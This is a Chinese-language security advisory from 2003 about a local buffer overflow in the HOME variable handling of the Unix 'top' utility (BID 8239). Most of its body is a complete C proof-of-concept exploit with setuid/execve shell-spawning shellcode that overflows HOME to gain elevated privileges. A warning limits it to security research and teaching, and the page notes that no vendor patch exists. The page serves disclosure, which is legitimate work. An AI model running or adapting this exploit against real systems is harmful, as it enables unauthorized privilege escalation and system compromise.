发布日期：2003-07-22
更新日期：2003-07-29

受影响系统：

William LeFebvre top 2.0.11
William LeFebvre top 2.0 pre
William LeFebvre top 2.0
William LeFebvre top 1.8
William LeFebvre top 1.7
William LeFebvre top 1.6
William LeFebvre top 1.5
William LeFebvre top 1.4
William LeFebvre top 1.3
William LeFebvre top 1.2
William LeFebvre top 1.0

描述：

---

BUGTRAQ  ID: 8239

Top是一款监视系统资源使用情况的工具。

Top在处理HOME环境变量时缺少正确处理，本地攻击者可以利用这个漏洞进行权限提升攻击。

当处理HOME环境变量时top程序缺少正确的缓冲区边界检查，攻击者提供超长字符串作为HOME变量参数，可导致触发缓冲区溢出，精心构建提交数据，可能以高权限执行任意指令。

<*来源：Tim （darksock@uhagr.org）
  
  链接：http://www.securityfocus.com/bid/8239
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Tim （darksock@uhagr.org）提供了如下测试代码：

/*
* UHAGr CONFIDENTIAL SOURCE - DO NOT DISTRIBUTE
* Local /usr/bin/top Proof of Concept Exploit
* Bug Discovered & Coded by Darksock
* Copyright (c) by UHAGr 2003 - 2004
* Note: it should work on all distros
* Tested under RedHat 9.0, Mandrake 9.0
* Still, it should be working under all
* distros since it's maintainer is still
* not informed about this bug.
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

        /*
         * This method of exploitation would let as
         * know the exact address of our shellcode.
         * We place it to the last environmental
         * variable, which address will be:
         * 0xbfffffff(top of the stack) minus four
         * NULLs due to elf header structure, minus
         * the program's name, minus the bytes of
         * our shellcode. That simple ;)
         */

#define TOP "/usr/bin/top"
#define DEFRET 0xbffffffa - strlen(sc) - strlen(TOP)
#define BS 1100

        /*
         * setuid(); + execve(); + exit(); shellcode
         */

char sc[] =   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31"
              "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
              "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
              "\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
              "\xc0\x31\xdb\xb0\x01\xcd\x80";

int main(void) {

        int ctr = 0;
        char buffer[BS];

        fprintf(stdout, "\nCopyright (c) by UHAGr 2003 - 2004\n");
        fprintf(stdout, "/usr/bin/top Proof of Concept Exploit\n\n");
        fprintf(stdout, "[~] Starting exploiting proccess...\n");
        fprintf(stdout, "[~] Using ret address: 0x%8x\n", (long) DEFRET);

        for(ctr = 0; ctr <  BS - 1; ctr += 4)
                *(long *) &buffer[ctr] = (long) DEFRET;

        buffer[BS - 1] = '\0';

        fprintf(stdout, "[~] Setting environmental variables\n");
        if((setenv("HOME", buffer, 1)) == -1) {
                perror("setenv()");
                exit(1);
        }

        if((setenv("TOPX", sc, 1)) == -1) {
                perror("setenv()");
                exit(1);
        }

        fprintf(stdout, "[~] Executing %s...\n\n", TOP);

        if((execl(TOP, TOP, NULL)) == -1) {
                perror("execl()");
                exit(1);
        }
        return(0);
}

建议：

---

厂商补丁：

William LeFebvre
----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.groupsys.com/topinfo/

浏览次数：2925
严重程度：0（网友投票）